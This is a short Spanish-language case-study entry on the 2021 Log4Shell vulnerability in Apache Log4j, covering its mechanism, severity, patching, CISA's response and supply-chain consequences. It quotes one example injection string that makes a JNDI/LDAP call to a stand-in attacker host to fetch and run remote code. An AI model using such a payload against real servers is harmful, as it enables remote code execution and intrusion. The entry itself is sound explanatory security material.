Log4Shell (Log4j)
CVE-2021-44228, diciembre de 2021. RCE en Apache Log4j a través de una búsqueda JNDI en los mensajes de log. Una cadena tan simple como ${jndi:ldap://attacker.com/x} en una cabecera HTTP → el servidor descarga y ejecuta la clase del atacante. CVSS 10.0. Una de las vulnerabilidades más graves de la década.
El impacto fue masivo porque Log4j es omnipresente en el ecosistema Java — usado por miles de millones de dispositivos, desde Minecraft hasta servicios de AWS. Parche urgente: Log4j 2.17 corrigió el problema, pero aplicarlo llevó meses en muchas organizaciones por dependencias profundamente enterradas. CISA ordenó a las agencias federales parchear en cuestión de días. Consecuencias: impulsó la adopción de SBOM (conocer tus dependencias), inversión en seguridad de la cadena de suministro y bibliotecas de limpieza de logs. Persistió 2-3 años: el catálogo CISA KEV mantuvo Log4j como "explotado activamente" mientras los atacantes automatizaban el escaneo. Un caso de estudio clásico.